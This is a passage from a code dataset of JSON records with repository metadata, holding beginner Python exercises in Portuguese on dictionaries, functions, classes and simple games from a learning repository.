"UTF-8", "text": "\"\"\"\nDicionarios são variavees compostas formadas por conteúdos referenciados por chaves.\nos dicionarios são declarados entre {x:y} onde x é a chave e y é o conteúdo referenciado\n\"\"\"\n\npessoa ={'Nome':'Italo','sexo':'Masculino','Idade':'21'}\n#print(pessoa)\n#print(f'O {pessoa[\"Nome\"]} tem {pessoa[\"Idade\"]} anos de idade') # print formatado\n#print(pessoa.keys())# -> mostra as chaves existentes no dicionário\n#print(pessoa.values())# -> mostra os valores existentes no dicionário\n#print(pessoa.items())# -> mostra tudo que está contido no dicionário\n\n#USANDO LAÇOS DE REPETIÇÃO\n\"\"\"\nfor k in pessoa.keys():\n print(k) #mostrará apenas as chaves do dicionário\n\"\"\"\n\"\"\"\nfor v in pessoa.values():\n print(v)# mostra os valores do dicionario\n\"\"\"\n\n\"\"\"\nfor k, v in pessoa.items():\n print(f'{k} = {v}') #mostra todo o conteudo do dicionario\n\"\"\"\n#del pessoa['sexo'] # deleta a chave sexo do dicionario\n#pessoa['Nome'] = 'Leandro' # podemos mudar o valor da conteudo apenas com o sinal de '='\n#pessoa['peso'] = 89.5 # podemos adicionar elementos sem a necessidade do append\n\n#LISTAS COM DICIONARIOS\n\"\"\"\nbrasil = []\nestado1 = {'uf':'Rio de janeiro','sigla':'RJ'}\nestado2 = {'uf':'São Paulo','Sigla':'SP'}\nbrasil.append(estado1)\nbrasil.append(estado2)\nprint(brasil)\n\"\"\"\n# para adicionar dicionários em uma lista usando laçõs de repetição, nos devemos fazer uma copia do dicionário após preencher os dados\n\"\"\"\nestado = dict()\nbrasil = list()\nfor c in range(0,3):\n estado['uf'] = str(input('Unidade federativa: '))\n estado['Sigla'] = str(input('Sigla do estado: '))\n brasil.append(estado.copy()) # sem o parametro .copy os primeiro dados inseridos no lacõ de for serão repetido até o final do programa\nprint(brasil)\n\"\"\"" }, { "alpha_fraction": 0.6680327653884888, "alphanum_fraction": 0.7090163826942444, "avg_line_length": 15.333333015441895, "blob_id": "59d439f584a9fe5a2d63916b806a596f3b43698f", "content_id": "cb59634813c82b95d60de08505d15732054bce45", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 246, "license_type": "permissive", "max_line_length": 66, "num_lines": 15, "path": "/Geek-University/Seção4/tipo numerico.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\nTipo Numerico\n\"\"\"\nnum = 1_000_000 # podemos utilizar '_' para separar casas decimais\nprint(num)\n\n\"\"\"\nTipo float \ntipo real, decimal\nsemparamos as casas déecimais por ponto e não por virgula\n \n\"\"\"\nvalor = 1.40\nprint(valor)\nprint(type(valor))" }, { "alpha_fraction": 0.5136986374855042, "alphanum_fraction": 0.5479452013969421, "avg_line_length": 47.66666793823242, "blob_id": "06f9c12ff750eec26be248683b672f6bc6a7685e", "content_id": "aa8ca50f2ed86e05f955961036d357e9e3f300a8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 150, "license_type": "permissive", "max_line_length": 84, "num_lines": 3, "path": "/Curso-Em-Video/M1/ex06.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn = int(input(\"Digite um número: \"))\nprint(f'O dobro de {n} é {n**2}\\n O triplo é {n**3}\\n A raiz quadrada é {n**(1/2)}')\n" }, { "alpha_fraction": 0.6100386381149292, "alphanum_fraction": 0.6718146800994873, "avg_line_length": 42.16666793823242, "blob_id": "b7b4f556c8fc2dba664cf473db4f995b42fb852a", "content_id": "53f3b8d773028e82ec7f407905226096180a2a4f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 260, "license_type": "permissive", "max_line_length": 75, "num_lines": 6, "path": "/Curso-Em-Video/M3/ex74.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom random import randint\nn = (randint(0,10),randint(0,10),randint(0,10),randint(0,10),randint(0,10))\nprint(f'Os números sorteados foram: {n}')\nprint(f'O maior valor gerado foi: {max(n)}')\nprint(f'O menor valor gerado foi: {min(n)}')\n" }, { "alpha_fraction": 0.5991342067718506, "alphanum_fraction": 0.6199133992195129, "avg_line_length": 36.129032135009766, "blob_id": "a2b5f206e1eec4c25fe7106abb217bee0a767a5c", "content_id": "0e8f3985f64122d3b2b5a82b60340e09bf117fee", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1173, "license_type": "permissive", "max_line_length": 77, "num_lines": 31, "path": "/Curso-Em-Video/M2/ex45.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport random\n\nmao =int(input(\"\"\"\n \\n Escolha:\n \\n [1] -> Pedra\n \\n [2] -> Papel\n \\n [3] -> Tesoura\n \"\"\"))\npc =random.randint(1,3)\n\nif pc == 1 and mao == 1:\n print('O computador escolheu pedra e você também temos um EMPATE!')\nelif pc == 1 and mao == 2:\n print('O Computador escolheu pedra e você escolheu papel Você VENCEU!')\nelif pc == 1 and mao == 3:\n print('O computador escolheu pedra e você escolheu tesoura você PERDEU!')\n\nelif pc == 2 and mao == 2:\n print('O computador escolheu papel e você também temos um EMPATE!')\nelif pc == 2 and mao == 1:\n print('O Computador escolheu papel e você escolheu pedra Você PERDEU!')\nelif pc == 2 and mao == 3:\n print('O computador escolheu papel e você escolheu tesoura você VENCEU!')\n\nelif pc == 3 and mao == 3:\n print('O computador escolheu tesoura e você também temos um EMPATE!')\nelif pc == 3 and mao == 2:\n print('O Computador escolheu tesoura e você escolheu papel Você PERDEU!')\nelif pc == 3 and mao == 1:\n print('O computador escolheu tesoura e você escolheu pedra você VENCEU!')\n\n\n\n\n" }, { "alpha_fraction": 0.6209523677825928, "alphanum_fraction": 0.6285714507102966, "avg_line_length": 25.299999237060547, "blob_id": "07d257a3e1a167617d8612c3575579a5032a6bd8", "content_id": "5ae9093f0ce698bbe7c2eb67cf1bda1112eed457", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 526, "license_type": "permissive", "max_line_length": 58, "num_lines": 20, "path": "/curso_monitoria/matriz2.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "alunos = int(input(\"Quantos alunos tem na turma: \"))\nmaterias = int(input(\"Quantas matérias eles estudam: \"))\n\nmediaTurma = 0\nfor aluno in range(alunos):\n print(\"Aluno\", aluno + 1, \":\")\n\n mediaAluno = 0\n for materia in range(materias):\n print(\"Nota da materia\", materia + 1, \":\", end='')\n nota = int(input())\n mediaAluno += nota\n\n mediaAluno /= materias\n print(\"Media desse aluno:\", mediaAluno, \"\\n\")\n\n mediaTurma += mediaAluno\n\nmediaTurma /= alunos\nprint(\"Media da turma:\", mediaTurma)" }, { "alpha_fraction": 0.5095541477203369, "alphanum_fraction": 0.5159235596656799, "avg_line_length": 26.34782600402832, "blob_id": "de5379910e09b9972491453a930c81eba5f2d402", "content_id": "ddb67dd5f7f084be3cb59ab5c6ff907b6d4a838f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 628, "license_type": "permissive", "max_line_length": 44, "num_lines": 23, "path": "/Prova/Funcoes.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def crie_matriz(linhas, colunas, valor):\n matriz = []\n for i in range(linhas):\n linha = []\n for j in range(colunas):\n linha.append(valor)\n matriz.append(linha)\n\n return matriz\ndef escrever_memoria(linha, coluna,matriz):\n linha = int(linha, 2) - 1\n for j in range(len(matriz)):\n if (coluna[j] == \"1\"):\n matriz[linha][j] = \"#\"\n\n\ndef imprimir_memoria(matriz):\n for i in range(len(matriz)):\n for j in range(len(matriz)):\n if (j < len(matriz) - 1):\n print(matriz[i][j], end=' ')\n else:\n print(matriz[i][j])" }, { "alpha_fraction": 0.5353535413742065, "alphanum_fraction": 0.6060606241226196, "avg_line_length": 29.461538314819336, "blob_id": "4114715df48c091c471244485731b082bf3b84c3", "content_id": "60ff3643595daa2016b94052514ccb108112dc93", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 401, "license_type": "permissive", "max_line_length": 64, "num_lines": 13, "path": "/Curso-Em-Video/M1/cores.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n# ANSI\n *Iniciar com cores em python -> \\033[m\n -> entre o cochetes e o m colocamos o código da cor\n *Exemplo\\033[0:33:44m\n ->O primeiro parametro ocupado por 0 é o local de estilo\n ->O segundo ocupado para 33 é para texto\n ->O terceiro ocupado por 44 é o fundo\n# pesquise -> colorise\n\"\"\"\n\nprint('\\033[1;30;43mOlá, mundo!\\033[m')\n" }, { "alpha_fraction": 0.6091954112052917, "alphanum_fraction": 0.633461058139801, "avg_line_length": 18.121952056884766, "blob_id": "17adfd90f55d183daa9d64edd5fc91b9e8443bab", "content_id": "36ae3acab912ecb2bdd471c9609fdf0a2ed92043", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 798, "license_type": "permissive", "max_line_length": 102, "num_lines": 41, "path": "/Curso-Em-Video/M3/Funcoes.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\n# Funções são rotiinas que execultam código quando são solicitas, elas podem ou não recever parametros\n-> def nomefuncao(): -> estrutura basica de uma função\n-> codigo\nos parametros das funções ficam sempre dentro dos parenteses\n\n\"\"\"\n\"\"\"\n# exemplo de funções com parametros: \n\ndef soma(x,y):\n s = x + y\n print(s)\nprint(soma(8,9))\nprint(soma(x= 8,y=2 )) # também podemos declarar da seguinte maneira\n\"\"\"\n# usando lista com funções:\n\"\"\"\ndef dobra(lst):\n pos = 0\n while pos < len(lst):\n lst[pos] *= 2\n pos+= 1\n\n\nvalores = [6,3,1,9,2,0]\ndobra(valores)\nprint(valores)\n\"\"\"\n# Desempacotando parametros\n\"\"\"\ndef soma(* valores):\n s = 0\n for num in valores:\n s+= num\n print(f'Somando os valores{valores} temos {s}')\n\n\nsoma(5,2)\nsoma(2,9,4)\n\"\"\"" }, { "alpha_fraction": 0.6465568542480469, "alphanum_fraction": 0.6636245250701904, "avg_line_length": 47.21714401245117, "blob_id": "a7a737f6d11d5e55b4d9c8dca0e5e88f16506db3", "content_id": "639679ef297d311d68526ed9b4443d5cc7397d91", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8546, "license_type": "permissive", "max_line_length": 123, "num_lines": 175, "path": "/Paradigmas_Program/aula03.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\" CEUB - Ciência da Computação - Prof. Barbosa\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\n\n- Composição\nNo programa anterior, usamos agregação. Agora, a classe Conta tem um Cliente e associamos\nestas duas classes. Mas, a classe Cliente existe independente da classe Conta.\nAgora, a Conta possui um histórico, contendo a data de abertura da conta e\nsuas transações. Crie uma classe para representar o histórico:\n\n- Composição\nQuando a existência de uma classe depende de outra classe, como é a relação da\nclasse Histórico com a classe Conta, dizemos que a classe Historico compõe a classe Conta.\n\n- Implemente:\n1- Crie a classe Historico com os atributos data/hora de abertura da conta e transações realizadas.\n- Crie o método get para retornar a data/hora da abertura da conta.\n- Crie o método get para retornar o historico da conta.\n- Modifique a classe Conta de modo que ela tenha um historico. Diferente da relação do\n cliente com uma conta, a existência de um histórico depende da existência de uma Conta\n Ou seja, acrescente o atributo historico que recebe um objeto da classe Historico.\n5- Altere o método deposito, ele deve armazenar as informações da transação no histórico\n- Cria o objeto conta1, faça um depósito e mostre o histórico\n- Na classe Historico, crie o método para mostrar o histórico da conta:\n depósitos, saques, transferência e extratos\n8- Altere o método sqque, ele deve armazenar as informações da transação no histórico, teste.\n- Altere o método extrato, ele deve armazenar as informações da transação no histórico, teste.\n10- Altere o método trasfere_para, ele deve armazenar as informações da transação no histórico\n- Na conta1 realize: um depósito, um saque, transferência para conta 2 e um extrato, teste.\n- Crie a connta2 (objeto) com o respectivo cliente\n- Mostre o histórico das duas contas.\n- Na conta2 realize: um depósito, um saque, um extrato e a transferência para conta 1.\n15- Crie o extrato2 mais completo, mostre também os dados do cliente (nome, sobrenome e cpf)\n- Na funcionalidade histórico, acrescente o dia e hora de cada transação.\n- Altere o histórico para mostrar também o nome do correntista. \"\"\"\n\nfrom datetime import datetime\nimport time\nclass Cliente:\n def __init__(self, nome, sobrenome, cpf):\n self.nome = nome\n self.sobrenome = sobrenome\n self.cpf = cpf\n def get_nome(self):\n return self.nome\n def set_nome(self, novo_nome):\n self.nome = novo_nome\n def get_sobrenome(self):\n return self.sobrenome\n def get_cpf(self):\n return self.cpf\n def nome_completo(self):\n nc = f'{self.nome} {self.sobrenome}'\n return nc\nclass Historico:\n def __init__(self):\n self.data_abertura = datetime.today()\n self.transacoes = []\n def get_data_abertura(self):\n return self.data_abertura\n def get_transacoes(self):\n return self.transacoes\n def mostra_historico(self):\n self.transacoes.append(\"Impressão do histórico em {}\".format(datetime.today()))\n print(\"Histórico:\\nAbertura: {}\".format(self.data_abertura))\n print(\"Transações:\")\n for t in self.transacoes:\n print(\"-\", t)\n def mostra_historico2(self, nome):\n self.transacoes.append(\"Impressão do histórico em {}\".format(datetime.today()))\n print(\"Histórico:\\nAbertura: {}\".format(self.data_abertura))\n print(\"Histórico do {}:\\nAbertura: {}\".format(nome, self.data_abertura))\n print(\"Transações:\")\n for t in self.transacoes:\n print(\"-\", t)\nclass Conta:\n def __init__(self, numero, cliente, saldo, limite=1000.0):\n self.numero = numero\n self.titular = cliente # Objeto da classe Cliente\n self.saldo = saldo\n self.limite = limite\n self.historico = Historico() # Chama o construtor (__init__) da classe Historico\n ''' Com esse código, toda nova Conta criada já terá um novo Historico associado, \n sem necessidade de instanciá-lo logo em seguida da criação (instanciação) de uma Conta.'''\n def get_titular_nome(self):\n return self.titular.nome\n def set_titular_nome(self, nome):\n self.titular.nome = nome\n def get_titular_sobrenome(self):\n return self.titular.sobrenome\n def get_titular_cpf(self):\n return self.titular.cpf\n def get_saldo(self):\n return self.saldo\n def get_historico(self):\n return self.historico\n def get_titular(self):\n return self.titular.__dict__ # cliente.__dict__\n def deposito(self, valor):\n self.saldo += valor\n self.historico.get_transacoes().append(\"Depósito de R${}\".format(valor))\n def deposito2(self, valor):\n self.saldo += valor\n dia_hora = datetime.today()\n self.historico.get_transacoes().append(\"Depósito de R${} em {}\".format(valor, dia_hora))\n # self.historico.get_transacoes().append(\"Depósito de R${} em {}\".format(valor, datetime.today()))\n def saque(self, valor):\n if self.saldo + self.limite < valor:\n print('Saldo insuficiente.')\n return False\n else:\n self.saldo -= valor\n print('Saque realizado.')\n self.historico.get_transacoes().append(\"saque de R${}\".format(valor))\n return True\n def extrato(self):\n print(\"Extrato 1:\\nNúmero: {}, Saldo: {}\".format(self.numero, self.saldo))\n self.historico.get_transacoes().append(\"Solicitou o extrato 1.\")\n def extrato_2(self):\n print(f'Extrato 2:\\nNome: {self.titular.get_nome()} {self.titular.get_sobrenome()}, CPF: {self.titular.get_cpf()}')\n # print(f'Extrato 2:\\nNome: {self.titular.nome} {self.titular.sobrenome}, CPF: {self.titular.cpf}')\n print(\"Número: {}, Saldo: {}\".format(self.numero, self.saldo))\n # self.historico.get_transacoes().append(\"Solicitou extrato 2 em {}\".format(datetime.today()))\n def transfere_para(self, destino, valor):\n retirou = self.saque(valor)\n if not retirou: # if retirou == False:\n print('Transferência não realizada')\n return False\n else:\n destino.deposito(valor)\n print('Transferência realizada com sucesso')\n self.historico.get_transacoes().append(\"transferência de R$ {} para conta {}\".format(valor, destino.numero))\n return True\n\n\nif __name__ == '__main__': # main <tab>\n cliente1 = Cliente('João', 'Oliveira', '11111111111-11')\n conta1 = Conta('123-4', cliente1, 1000.0) # Chama o construtor de Conta e passa um objeto da classe Cliente\n time.sleep(1)\n conta1.deposito(250)\n time.sleep(1)\n conta1.get_historico().mostra_historico()\n conta1.historico.mostra_historico()\n conta1.deposito(100.0)\n time.sleep(1)\n conta1.saque(50.0)\n time.sleep(1)\n conta1.get_historico().mostra_historico()\n conta1.extrato()\n conta1.get_historico().mostra_historico()\n cliente2 = Cliente('José', 'Azevedo', '222222222-22')\n conta2 = Conta('123-5', cliente2, 1000.0) # Chama o construtor de Conta e passa um objeto da classe Cliente\n conta1.transfere_para(conta2, 200.0)\n print('conta1.get_saldo()', conta1.get_saldo())\n print('conta2.get_saldo()', conta2.get_saldo())\n conta1.get_historico().mostra_historico()\n conta2.get_historico().mostra_historico()\n conta1.extrato()\n # Extrato: número: 123-4, saldo: 850.0\n conta1.extrato_2()\n print('Abertura: ', conta1.historico.get_data_abertura())\n conta1.get_historico().mostra_historico()\n conta2.extrato()\n conta2.extrato_2()\n conta1.deposito2(222.0)\n conta2.get_historico().mostra_historico() # Histórico sem nonme\n nome_cliente = conta2.get_titular_nome()\n conta2.historico.mostra_historico2(nome_cliente) # Histórico com nome\n # conta2.historico.mostra_historico2(conta2.get_titular_nome()) # Histórico com nome\n # Lista todos métodos e atributos que a classe possui.\n print('dir(Conta):\\n', dir(Conta))\n print('conta1.__class__ :\\n', conta1.__class__)\n # Retorna um dicionário com os atributos da classe.\n print('conta1.__dict__ :\\n', conta1.__dict__)\n # A função embutida do Python, vars(), chama o __dict__ de uma classe. Retorna um dicionário com os atributos\n print('vars(conta1):\\n', vars(conta1))" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.6549999713897705, "avg_line_length": 27.571428298950195, "blob_id": "8be8d99b21fb8882778c4b1fb74cc4b682847d8a", "content_id": "3b22729336c16e6080825d336b881b882304cd98", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 200, "license_type": "permissive", "max_line_length": 55, "num_lines": 7, "path": "/Curso-Em-Video/M1/ex27.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nnome=str(input(\"Digite o seu nome completo: \")).strip()\nlista= nome.split()\nfirst= lista[0]\nlast = lista[len(lista)-1]\n\nprint(f'\\nPrimeiro nome: {first}\\nUltimo nome: {last}')\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6346153616905212, "avg_line_length": 25, "blob_id": "491c823825a614c2219f676feb09998224f1c869", "content_id": "a966989c9c90bfcdb4c43e2e8f7c39cdec2050e9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 260, "license_type": "permissive", "max_line_length": 55, "num_lines": 10, "path": "/Curso-Em-Video/M1/ex19.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport random\n\nn1 = str(input('Primeiro aluno: '))\nn2 = str(input('Segundo aluno: '))\nn3 = str(input('Terceiro aluno: '))\nn4 = str(input('Quarto aluno: '))\nlista = [n1,n2,n3,n4]\n\nprint(f'O aluno escolhido foi: {random.choice(lista)}')\n" }, { "alpha_fraction": 0.6531531810760498, "alphanum_fraction": 0.6711711883544922, "avg_line_length": 26.75, "blob_id": "b0925255742d84c2827d93be4ebb2332b42ba2ea", "content_id": "eeda9a3cdc03749be5b4cbcdb02c822d330b7412", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 223, "license_type": "permissive", "max_line_length": 47, "num_lines": 8, "path": "/Curso-Em-Video/M1/ex17.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom math import pow, sqrt\ncat=float(input('Digite o cateto oposto: '))\ncaa=float(input('Digite o cateto adjacente: '))\n\nhip=sqrt(pow(cat,2)+pow(caa,2))\n\nprint(f'O valor da hipotenusa é {hip:.2f}')\n" }, { "alpha_fraction": 0.7947883009910583, "alphanum_fraction": 0.7947883009910583, "avg_line_length": 33.22222137451172, "blob_id": "8e0cfb926ab6192906cf4b6b46741d8badb979d6", "content_id": "72da344b2df5b697acbf36a906d01b47ab1a54c8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 318, "license_type": "permissive", "max_line_length": 108, "num_lines": 9, "path": "/Geek-University/Seção3/Dir_help.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\nDir -> Apresenta todos os atributos e funções/metódos disponiveis para determinado tipo de dado ou variável.\n\nHelp -> Apresenta a documentação/ como utilizar os atributos/propriedades e funções/métodos disponíveis\npara determinado tipo de dado ou variável.\n\nhelp(tipo de dado/variavel.propriedade)\n\n\"\"\"" } ]
144
wisRen/blog_scripts
https://github.com/wisRen/blog_scripts
92318fea64486652c376e2ac3f536c4ab9effc84
2a32e8c0d20734eaf81a1dcb4215a44663a5baaf
c11fc35d361aca495c38163503b15b6703677c99
refs/heads/master
2023-03-17T07:39:52.604127
2020-03-03T08:17:00
2020-03-03T08:17:00
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7692307829856873, "alphanum_fraction": 0.7692307829856873, "avg_line_length": 25, "blob_id": "6ce8c5e6e85467f2c8a8821c63f7bfb0308c76ac", "content_id": "8d4fe2f06c93537bd076b18b6f467c4b46888c8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 52, "license_type": "no_license", "max_line_length": 36, "num_lines": 2, "path": "/README.md", "repo_name": "wisRen/blog_scripts", "src_encoding": "UTF-8", "text": "# blog_scripts\nTo share the scripts used in my blog\n" }, { "alpha_fraction": 0.468914657831192, "alphanum_fraction": 0.4889357089996338, "avg_line_length": 23.33333396911621, "blob_id": "c35f5a2571f4ac8d061418d464cc1dd87981c1e0", "content_id": "6a4abfc0695a4044778bcaca67ba9c9a8a155bf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 949, "license_type": "no_license", "max_line_length": 70, "num_lines": 39, "path": "/01.archives_9/tcga_format.py", "repo_name": "wisRen/blog_scripts", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Author: Xiaofei Zeng\n# Email: [email protected]\n# Created Time: 2019-05-15 11:23\n# Python 2.7\n\nfrom __future__ import print_function\nimport sys\nimport gzip\n\ndef handle_maf(maf_file):\n count_dict = {}\n if maf_file.endswith('.gz'):\n fopen = gzip.open\n else:\n fopen = open\n with fopen(maf_file) as f:\n for line in f:\n if line.startswith('#'):\n print(line, end='')\n continue\n ls = line.split('\\t')\n # header\n if line.startswith('Hugo'):\n index = ls.index('Tumor_Sample_Barcode')\n print(line, end='')\n continue\n # content\n prefix = ls[index].rsplit('-', 4)[0]\n new_line = '\\t'.join(ls[:index] + [prefix] + ls[index+1:])\n print(new_line, end='')\n\ndef main():\n handle_maf(sys.argv[1])\n\nif __name__ == '__main__':\n main()\n" } ]
2
DylanEHolland/pykgr.old
https://github.com/DylanEHolland/pykgr.old
f624bdd98004583e50357d408f4db388d66de771
e66442790a29b0fa0d1e4586abf442cd927c8015
7a9b123b08622e590c3c984650e4b5d15f71b656
refs/heads/main
2023-07-17T21:48:49.626989
2021-08-31T00:48:27
2021-08-31T00:48:27
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6138306260108948, "alphanum_fraction": 0.6138306260108948, "avg_line_length": 25.83333396911621, "blob_id": "ee494a96107fdf7ac9dbf938ca0c302ab98c3dab", "content_id": "e4602ef35a850b60dc3db6e928f64924897caee1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1287, "license_type": "permissive", "max_line_length": 102, "num_lines": 48, "path": "/pykgr/builder.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import os\nfrom pykgr.subroutines import import_from_string\n\n\nclass Builder(object):\n data = None\n\n def __init__(self, **kwargs):\n self.data = BuilderData(**kwargs)\n\n if not self.data.directory:\n raise Exception(\"What can we do without a directory?\")\n\n if not os.path.exists(self.data.directory):\n os.mkdir(self.data.directory)\n\n def build(self, package_class):\n if type(package_class) == str:\n package_class = import_from_string(package_class)\n\n package_to_build = package_class()\n package_to_build.__build__()\n\n def build_toolchain(self):\n binutils = import_from_string(\"base.packages.binutils.Binutils\")\n gcc = import_from_string(\"base.packages.gcc.Gcc\")\n\n self.build(binutils)\n self.build(gcc)\n\n def build_library(self):\n lib = import_from_string(\"toolchain.glibc\")\n self.build(lib)\n\n\nclass BuilderData:\n def __init__(self, **kwargs):\n self.directory = None\n\n self_keys = [row for row in dir(self) if \"__\" not in row and not callable(getattr(self, row))]\n for key in kwargs:\n if key in self_keys:\n setattr(self, key, kwargs.get(key))\n\n\nclass BuilderLibrary:\n # For maintaining a local glibc\n pass" }, { "alpha_fraction": 0.6152694821357727, "alphanum_fraction": 0.6302395462989807, "avg_line_length": 32.45000076293945, "blob_id": "bc7a5725ce89d942fb5139550d70b6d2f92a5a14", "content_id": "f11a256555eae89c30082d0aff2baf88c1e84287", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 668, "license_type": "permissive", "max_line_length": 104, "num_lines": 20, "path": "/setup.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "from distutils.core import setup\nsetup(\n name = 'pykgr',\n packages = ['pykgr'],\n version = '0.1',\n description = 'A never root software builder, like nix for poor people',\n author = 'Dylan Holland',\n author_email = '[email protected]',\n url = 'https://github.com/DylanEHolland/pykgr',\n download_url = 'https://github.com/DylanEHolland/pykgr/archive/0.1.tar.gz',\n keywords = ['SOFTWARE',\"PACKAGER\"],\n install_requires=[ \n 'argparse',\n ],\n classifiers=[\n 'Development Status :: 3 - Alpha', # Chose either \"3 - Alpha\", \"4 - Beta\" or \"5 - Production/Stable\"\n 'Topic :: Software Development :: Build Tools',\n 'Programming Language :: Python :: 3.8',\n ],\n)" }, { "alpha_fraction": 0.5757575631141663, "alphanum_fraction": 0.5757575631141663, "avg_line_length": 17.200000762939453, "blob_id": "df64cb18c7082208c38362a77ea6afa19bdf64ed", "content_id": "bffe1d6b6d2ec1632732fe6202e55093ee0964fd", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 363, "license_type": "permissive", "max_line_length": 44, "num_lines": 20, "path": "/tests/test_001-shell.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "from pykgr.shell import Command, Shell\n\n\ndef test_command():\n cmd = Command(\"hello\")\n output = \"Hello, world!\"\n\n assert cmd.run() == 'Hello, world!\\n'\n\n\ndef test_command_methods():\n sh = Shell()\n ls_command = sh.command(\"ls\", \"/\").run()\n\n assert ls_command == sh.ls(\"/\")\n\n\nif __name__ == \"__main__\":\n test_command()\n test_command_methods()" }, { "alpha_fraction": 0.6263736486434937, "alphanum_fraction": 0.6263736486434937, "avg_line_length": 28.859375, "blob_id": "33761fd53ccb4fda18886f5ae4b555d35c34e13d", "content_id": "954af4868b37d6496b8c21d31064a1c0bbf4b1e0", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1911, "license_type": "permissive", "max_line_length": 98, "num_lines": 64, "path": "/pykgr/cli.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "from pykgr.subroutines import load_config, setup_paths\nfrom argparse import ArgumentParser\nfrom pykgr.environment import Environment, initialize\nfrom pykgr import config\nimport os\n\n\ndef arguments():\n ap = ArgumentParser()\n \n ap.add_argument(\"--build-library\", action=\"store_true\")\n ap.add_argument(\"--build-toolchain\", action=\"store_true\")\n ap.add_argument(\"--init\", action=\"store_true\")\n ap.add_argument(\"--package-file\", \"-p\", help=\"Pass a package class to be built and installed\")\n ap.add_argument(\"--package-module\", \"-pm\", action=\"append\")\n ap.add_argument(\"--verbose\", \"-v\", action=\"store_true\")\n \n return ap.parse_args()\n\n\ndef spawn_interface():\n # Handle command line arguments\n\n args = arguments()\n load_config(args)\n setup_paths(args)\n\n if args.init:\n if args.verbose:\n print(\"Initializing\")\n env = initialize()\n else:\n env = Environment()\n\n if config.toolchain_package_module:\n if args.verbose:\n print(\"Using toolchain module from\", config.toolchain_package_module)\n\n compiler = \"%s/bin/gcc\" % config.builder_directory\n\n if args.verbose:\n print(\"Looking for environment in %s...\" % config.main_directory, end=' ')\n if not os.path.isfile(compiler):\n print(\"\\nToolchain doesn't exist!\")\n else:\n print(\"Found!\")\n\n if args.build_toolchain:\n if args.verbose:\n print(\"Building compiler\")\n env.builder.build_toolchain()\n # if not os.path.exists(\"%s/lib\" % config.library_directory):\n # print(\"Building glibc\")\n # env.builder.build_library()\n \n if args.build_library:\n if args.verbose:\n print(\"Building glibc\")\n env.builder.build_library()\n\n if args.package_file:\n if args.verbose:\n print(\"Building\", args.package_file)\n env.build_package(args.package_file)\n" }, { "alpha_fraction": 0.8363636136054993, "alphanum_fraction": 0.8363636136054993, "avg_line_length": 27, "blob_id": "e4fd5d1e7bf41f4c741b2233f537d83eaa2a3e7b", "content_id": "cc2f4c6b1742ccff959908303ef446c0726cf6ee", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 55, "license_type": "permissive", "max_line_length": 37, "num_lines": 2, "path": "/pykgr/__main__.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "from pykgr.cli import spawn_interface\nspawn_interface()" }, { "alpha_fraction": 0.7086465954780579, 